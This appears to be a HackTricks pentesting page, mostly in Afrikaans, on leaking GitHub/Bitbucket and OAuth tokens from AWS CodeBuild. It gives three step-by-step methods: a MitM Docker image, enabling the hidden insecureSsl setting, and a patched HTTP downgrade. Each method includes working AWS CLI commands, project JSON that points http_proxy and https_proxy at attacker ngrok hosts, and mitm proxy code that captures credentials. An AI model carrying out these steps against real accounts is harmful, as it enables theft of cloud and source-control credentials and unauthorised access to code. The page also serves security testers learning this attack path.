# AWS Codebuild - Token Leakage

{{#include ../../../../banners/hacktricks-training.md}}

## Herstel Github/Bitbucket-gekonfigureerde Tokens

Eerstens, kyk of daar enige bron-inlogbewyse gekonfigureer is wat jy kan leak:
```bash
aws codebuild list-source-credentials
```
### Deur Docker-image

Indien jy sien dat authentisering, byvoorbeeld vir Github, in die account ingestel is, kan jy daardie **exfiltrate** daardie **access** (**GH token or OAuth token**) bewerkstellig deur Codebuild 'n **spesifieke Docker-image** te laat gebruik om die build van die projek uit te voer.

Vir hierdie doel kan jy 'n **nuwe Codebuild project** skep of die **omgewing** van 'n bestaande een verander om die **Docker image** te stel.

Die Docker-image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker-image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou.

1. **Skep & laai op jou eie Docker MitM-image**
- Volg die instruksies in die repo om jou proxy IP-adres en SSL-cert in te stel en **bou die Docker-image**.
- **STEL NIE `http_proxy` NIE** om nie versoeke na die metadata endpoint te onderskep nie.
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou host te stel
- Sodra jy die Docker-image gebou het, **laai dit op na 'n openbare repo** (Dockerhub, ECR...)
2. **Stel die omgewing**
- Skep 'n **nuwe Codebuild project** of **wysig** die omgewing van 'n bestaande een.
- Stel die projek om die **vorheen gegenereerde Docker-image** te gebruik

<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

3. **Stel die MitM-proxy op jou host**

- Soos aangedui in die **Github repo** kan jy iets soos gebruik:
```bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"
```
> [!TIP]
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, dit is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.

4. **Voer die build uit & vang die credentials op**

- Jy kan die token in die **Authorization** header sien:

<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

Dit kan ook vanaf die aws cli gedoen word met iets soos
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2
```
### Deur insecureSSL

**Codebuild** projects het 'n instelling genaamd **`insecureSsl`** wat in die web UI versteek is — jy kan dit slegs via die API verander.\
As dit aangeskakel is, laat dit Codebuild toe om met die repository te koppel **sonder om die sertifikaat te verifieer** wat deur die platform aangebied word.

- Eerstens moet jy die huidige konfigurasie opvra met iets soos:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Dan, met die ingesamelde inligting kan jy die projekinstelling **`insecureSsl`** op **`True`** opdateer. Die volgende is 'n voorbeeld van hoe ek 'n projek opdateer, let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy hoef te verander van die ingesamelde konfigurasie).
- Boonop voeg ook die omgewingsveranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys soos:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Laastens, klik op **Build the project**, die **credentials** sal in **clear text** (base64) na die mitm-poort gestuur word:

<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

### ~~Via HTTP-protocol~~

> [!TIP] > **Hierdie kwetsbaarheid is deur AWS op een of ander tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan 'n attacker dit nie meer misbruik nie :)**

'n attacker met **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** wat gekonfigureer is, of as permissions via OAuth gekonfigureer is, die **temporary OAuth token used to access the code**.

- 'n attacker kan die environment variables **http_proxy** en **https_proxy** by die CodeBuild project voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).

<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
- Begin dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) op die poort waarna die proxy variables (http_proxy and https_proxy) wys
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Volgende, klik op **Build the project** of begin die build vanaf die opdraglyn:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Laastens sal die **credentials** in **clear text** (base64) na die mitm port gestuur word:

<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Nou sal 'n attacker die token vanaf sy masjien kan gebruik, alle privileges wat dit het kan lys en dit makliker kan (ab)use as om die CodeBuild service direk te gebruik.

## Untrusted PR execution via webhook filter misconfiguration

Vir die PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sien:

{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
